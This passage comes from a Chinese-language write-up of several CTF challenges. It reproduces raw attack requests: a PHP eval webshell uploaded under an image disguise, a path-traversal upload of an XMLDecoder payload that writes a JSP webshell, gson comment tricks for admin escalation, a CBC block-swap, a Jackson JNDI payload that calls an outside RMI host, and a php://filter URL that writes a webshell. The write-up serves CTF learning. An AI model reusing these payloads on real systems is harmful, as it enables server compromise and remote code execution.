的话,那就直接返回了。也就是说假如md5为ab61ae319127e259d05926783c3c.php
那就可以上传php文件了。 根据上图的处理,这个框架的上传流程如下
文件名检验,后缀名白名单检验
根据md5生成token
将32位的md5拆成2份16位,前一半为文件夹后一半为文件名
因此很容易发现md5处存在破绽。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /admin/plugs/upstate.html HTTP/1.1 Host: adfe451a-76ff-4d5e-8f3a-ced04e214cdd.node4.buuoj.cn:81 Content-Length: 77 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.57 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://adfe451a-76ff-4d5e-8f3a-ced04e214cdd.node4.buuoj.cn:81 Referer: http://adfe451a-76ff-4d5e-8f3a-ced04e214cdd.node4.buuoj.cn:81/admin/plugs/upfile.html?mode=one&uptype=&type=ico,png&field=browser_icon Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: s7466e88d=c1e9af38ce9c1d7ed154e84a55cbfb20; menu-style=full; m-2-4=2 Connection: close id=WU_FILE_0&md5=ab61ae319127e259d05926783c3c.php&uptype=local&filename=1.png
获取token后上传文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 POST /admin/plugs/upload.html HTTP/1.1 Host: adfe451a-76ff-4d5e-8f3a-ced04e214cdd.node4.buuoj.cn:81 Content-Length: 1457 X_Requested_With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.57 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysFVw5vBe8UwX86uJ Accept: */* Origin: http://adfe451a-76ff-4d5e-8f3a-ced04e214cdd.node4.buuoj.cn:81 Referer: http://adfe451a-76ff-4d5e-8f3a-ced04e214cdd.node4.buuoj.cn:81/admin/plugs/upfile.html?mode=one&uptype=&type=ico,png&field=browser_icon Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: s7466e88d=c1e9af38ce9c1d7ed154e84a55cbfb20; menu-style=full; m-2-4=2 Connection: close ------WebKitFormBoundarysFVw5vBe8UwX86uJ Content-Disposition: form-data; name="OSSAccessKeyId" ------WebKitFormBoundarysFVw5vBe8UwX86uJ Content-Disposition: form-data; name="success_action_status" 200 ------WebKitFormBoundarysFVw5vBe8UwX86uJ Content-Disposition: form-data; name="id" WU_FILE_0 ------WebKitFormBoundarysFVw5vBe8UwX86uJ Content-Disposition: form-data; name="name" fuck.png ------WebKitFormBoundarysFVw5vBe8UwX86uJ Content-Disposition: form-data; name="type" image/png ------WebKitFormBoundarysFVw5vBe8UwX86uJ Content-Disposition: form-data; name="lastModifiedDate" Sat Feb 18 2023 18:15:42 GMT+0800 (中国标准时间) ------WebKitFormBoundarysFVw5vBe8UwX86uJ Content-Disposition: form-data; name="size" 1488463 ------WebKitFormBoundarysFVw5vBe8UwX86uJ Content-Disposition: form-data; name="allowed_types" ico|png ------WebKitFormBoundarysFVw5vBe8UwX86uJ Content-Disposition: form-data; name="token" 2d46b41f0eee1ed839c81c70a5ccbb0f ------WebKitFormBoundarysFVw5vBe8UwX86uJ Content-Disposition: form-data; name="md5" ab61ae319127e259d05926783c3c.php ------WebKitFormBoundarysFVw5vBe8UwX86uJ Content-Disposition: form-data; name="key" ab61ae319127e259/d05926783c3ca4cb.png ------WebKitFormBoundarysFVw5vBe8UwX86uJ Content-Disposition: form-data; name="file"; filename="fuck.png" Content-Type: image/png GIF80a <?php eval($_POST[1]);?> ------WebKitFormBoundarysFVw5vBe8UwX86uJ--
虽然显示上传失败,但是实际上是成功了的。
[GKCTF 2021]babycat 考点:任意文件读取、gson特性、xmldecode反序列化 虽然提示了不让注册,但是前端js泄露了信息 我们依然可以注册,注册后会有个任意文件读取,tomcatweb服务的任意读取点如下
1 2 3 4 5 /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class ,他们不能包含在 .jar 文件中 /WEB -INF /lib /:存放web 应用需要的各种JAR 文件,放置仅在这个应用中要求使用的jar 文件,如数据库驱动jar 文件 /WEB -INF /src /:源码目录,按照包名结构放置各个java 文件。 /WEB -INF /database .properties :数据库配置文件
我们可以读取class文件,然后在注册发现如下敏感代码 首先该json是用gson解析的,并且发现它会对我们json里的role:xxx
替换,将xxx替换为guest,也就是不让我们注册管理员账号,因为后台有个上传页面是需要admin权限的 因此这里有2种方法去绕过,gson是支持注释符功能的 第一种:
1 {"username":"test","password":"test","role":"guest","role":/**/"admin"}
这一种让最后的role:admin
不被识别替换,又由于json的特性,当有重名变量时,后者覆盖前者,因此这样可以注册admin账号。 第二种
1 {"username":"admin", "password":"123456","role":"admin"/*,"role":"test"*/}
后面的role用注释包裹了,因此gson解析时不识别,然后由于正则识别的为最后一个role,因此同样也绕过了 那么可以上传文件了 结合前面获取的路径位置,我们可以往static目录下送一个jsp马,但是不能直接上传,这里要配合Xmldecoder进行解码,读出来的basedao.class里面有关注册的流程中,会读取db/db.xml文件,所以我们直接上传一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 POST /home/upload HTTP/1.1 Host: 6b8a4d8d-bdda-4e8c-b670-ce37b27148ce.node4.buuoj.cn:81 Content-Length: 700 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://6b8a4d8d-bdda-4e8c-b670-ce37b27148ce.node4.buuoj.cn:81 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytu7QLqA1Nths7FbO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.57 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://6b8a4d8d-bdda-4e8c-b670-ce37b27148ce.node4.buuoj.cn:81/home/upload Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: JSESSIONID=CFFD13F828BC114DCB8B340C66B17EE6 Connection: close ------WebKitFormBoundarytu7QLqA1Nths7FbO Content-Disposition: form-data; name="file"; filename="../../db/db.xml" Content-Type: application/octet-stream <java version="1.8.0_192" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>/usr/local/tomcat/webapps/ROOT/static/boogipop.jsp</string><void method="println"> <string><![CDATA[`<% javax.script.ScriptEngineManager manager = new javax.script.ScriptEngineManager(null);javax.script.ScriptEngine engine = manager.getEngineByName("js");engine.eval(request.getParameter("boogipop")); %>` ]]></string></void><void method="close"/> </object> </java> ------WebKitFormBoundarytu7QLqA1Nths7FbO--
最后随便注册一个账号触发流程,写入小马 反弹shell 拿下flag,这道题做起来总的来说还是比较不错的,难度也感觉挺适中的,长见识了,xmldecode反序列化可以参考https://www.anquanke.com/post/id/248771#h2-1 https://www.cnblogs.com/peterpan0707007/p/10565968.html
[BSidesCF 2019]Mixer 考点:CBC分组加密 注册一个账号后你可以发现一个长度很有规律的md5,大概长6cdb3e0b9a235cebc0bb4b9a3024f92ac4699d493842933c72b7010b58c8fad566272da8c501b02fce26ba8a551896152d2772665d216e5f77e3148cbdf8d7663cb01163c2d2823f94b057834efec0ff
这就是本题的payload,一共160个字,也就是32一组,这就该联想到CBC分组加密了。 他需要我们cookie里的is_admin是0,我们只需要注册时发送的json如下{"first_name":"A1.00000000000000","last_name":"paww","is_admin":1.000000000000000}
这样分组之后情况如下
1 2 3 4 5 {"first_name":"A 1.00000000000000 ","last_name":"p aww","is_admin": 0}
我们只需要把第二组放到倒数第二组,最后结果就变成{"first_name":"A1.00000000000000","last_name":"paww","is_admin":1.000000000000000}
这样就可以获取上述截图中的flag,其实就是一道密码题
[红明谷CTF 2021]JavaWeb 考点:JackSon反序列化CVE、Shiro权限绕过 先绕过一下鉴权,然后发送报错包,可以看到是jackson,这里随便掏一个cve来打。 CVE-2019-14439["ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"rmi://114.116.119.253:1099/3l73zp"}]
[FBCTF2019]Products Manager 考点:mysql 空格 绕过 比较 初步判断为SQL二次注入 判断个勾八,这题考的是个trick,不难。。。 db.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 <?php error_reporting (0 );require_once ("config.php" ); $db = new mysqli ($MYSQL_HOST , $MYSQL_USERNAME , $MYSQL_PASSWORD , $MYSQL_DBNAME );if ($db ->connect_error) { die ("Connection failed: " . $db ->connect_error); } function check_errors ($var ) { if ($var === false ) { die ("Error. Please contact administrator." ); } } function get_top_products ( ) { global $db ; $statement = $db ->prepare ( "SELECT name FROM products LIMIT 5" ); check_errors ($statement ); check_errors ($statement ->execute ()); $res = $statement ->get_result (); check_errors ($res ); $products = []; while ( ($product = $res ->fetch_assoc ()) !== null ) { array_push ($products , $product ); } $statement ->close (); return $products ; } function get_product ($name ) { global $db ; $statement = $db ->prepare ( "SELECT name, description FROM products WHERE name = ?" ); check_errors ($statement ); $statement ->bind_param ("s" , $name ); check_errors ($statement ->execute ()); $res = $statement ->get_result (); check_errors ($res ); $product = $res ->fetch_assoc (); $statement ->close (); return $product ; } function insert_product ($name , $secret , $description ) { global $db ; $statement = $db ->prepare ( "INSERT INTO products (name, secret, description) VALUES (?, ?, ?)" ); check_errors ($statement ); $statement ->bind_param ("sss" , $name , $secret , $description ); check_errors ($statement ->execute ()); $statement ->close (); } function check_name_secret ($name , $secret ) { global $db ; $valid = false ; $statement = $db ->prepare ( "SELECT name FROM products WHERE name = ? AND secret = ?" ); check_errors ($statement ); $statement ->bind_param ("ss" , $name , $secret ); check_errors ($statement ->execute ()); $res = $statement ->get_result (); check_errors ($res ); if ($res ->fetch_assoc () !== null ) { $valid = true ; } $statement ->close (); return $valid ; }
add.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 <?php require_once ("db.php" );require_once ("header.php" );function validate_secret ($secret ) { if (strlen ($secret ) < 10 ) { return false ; } $has_lowercase = false ; $has_uppercase = false ; $has_number = false ; foreach (str_split ($secret ) as $ch ) { if (ctype_lower ($ch )) { $has_lowercase = true ; } else if (ctype_upper ($ch )) { $has_uppercase = true ; } else if (is_numeric ($ch )) { $has_number = true ; } } return $has_lowercase && $has_uppercase && $has_number ; } function handle_post ( ) { global $_POST ; $name = $_POST ["name" ]; $secret = $_POST ["secret" ]; $description = $_POST ["description" ]; if (isset ($name ) && $name !== "" && isset ($secret ) && $secret !== "" && isset ($description ) && $description !== "" ) { if (validate_secret ($secret ) === false ) { return "Invalid secret, please check requirements" ; } $product = get_product ($name ); if ($product !== null ) { return "Product name already exists, please enter again" ; } insert_product ($name , hash ('sha256' , $secret ), $description ); echo "<p>Product has been added</p>" ; } return null ; } $error = handle_post ();if ($error !== null ) { echo "<p>Error: " . $error . "</p>" ; } ?> <form action="/add.php" method="POST" > Name of your product: <input type="text" name="name" /> Secret (10 + characters, smallcase, uppercase, number) : <input type="password" name="secret" /> Description: <input type="text" name="description" /> <input type="submit" value="Add" /> </form> <?php require_once ("footer.php" );
view.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php require_once ("db.php" );require_once ("header.php" );function handle_post ( ) { global $_POST ; $name = $_POST ["name" ]; $secret = $_POST ["secret" ]; if (isset ($name ) && $name !== "" && isset ($secret ) && $secret !== "" ) { if (check_name_secret ($name , hash ('sha256' , $secret )) === false ) { return "Incorrect name or secret, please try again" ; } $product = get_product ($name ); echo "<p>Product details:" ; echo "<ul><li>" . htmlentities ($product ['name' ]) . "</li>" ; echo "<li>" . htmlentities ($product ['description' ]) . "</li></ul></p>" ; } return null ; } $error = handle_post ();if ($error !== null ) { echo "<p>Error: " . $error . "</p>" ; } ?> <form action="/view.php" method="POST" > Name: <input type="text" name="name" /> Secret: <input type="password" name="secret" /> <input type="submit" value="View" /> </form> <?php require_once ("footer.php" );
view.php这里存在比较严重的逻辑漏洞,check_name_secret($name, hash('sha256', $secret)
检查之后他查询的还是$name
的信息,也就是假如我有2个重名的用户,你最终返回的会是其中的一个,然后我们要查询的是facebook
的detail,在db.php说了flag在里面,那么我们现在需要做的就是注册一个和facebook名字”相同”的账号,也就是满足facebook=xxxx
比较的,这样我们就可以绕过secret了,解决方法也是简单 直接注册一个facebook
,注意后面有空格,这样就可以绕过了。
[WMCTF2020]Web Check in 2.0 考点:双重编码绕死亡函数,反弹shell[http://a691c5ec-6451-45df-8e38-fb434973e5ff.node4.buuoj.cn:81/?content=php://filter/write=string.%25%37%32%25%36%66%25%37%3413|%3C%3Fcuc%20riny(%24_CBFG%5B1%5D)%3B%3F%3E|/resource=s1mple.php](http://a691c5ec-6451-45df-8e38-fb434973e5ff.node4.buuoj.cn:81/?content=php://filter/write=string.%25%37%32%25%36%66%25%37%3413|%3C%3Fcuc%20riny(%24_CBFG%5B1%5D)%3B%3F%3E|/resource=s1mple.php)